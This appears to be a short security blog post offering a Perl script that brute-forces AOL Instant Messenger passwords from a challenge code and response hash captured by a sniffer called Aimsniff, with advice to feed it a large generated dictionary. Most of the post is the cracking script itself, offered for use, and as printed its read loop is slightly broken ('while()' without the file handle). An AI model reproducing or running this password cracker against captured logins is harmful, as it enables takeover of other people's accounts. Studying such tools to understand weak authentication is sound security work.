Here’s the perl script to brute force the aim password using the challenge code and response hash from Aimsniff. It is very surprising how fast it is, especially considering it’s just using an interpreted language. Best thing would be to use a dictionary creator and go to town. Benchmark it by putting your password at the bottom of the dictionary file and make sure it works.
#!/usr/bin/perl
# Author: JK@leetsys.com
# Date: 4/22/2009
# AIM Brute Forcer- Accompanying script for Aimsniff.c
# Usage: ./aimbf.pl
use strict;
use Digest::MD5 qw (md5 md5_hex);
die "Usage: $0 \n" unless @ARGV == 3;
my ($challenge, $hash, $wordlist) = @ARGV;
my $aim_string = 'AOL Instant Messenger (SM)';
open FH, $wordlist or die $!;
while() {
chomp;
my $md5_current = md5($_);
my $append = "$challenge$md5_current$aim_string";
print "Password: $_\n" if md5_hex($append) eq $hash;
}
close FH;
Tyler Wrightson's Security Blog 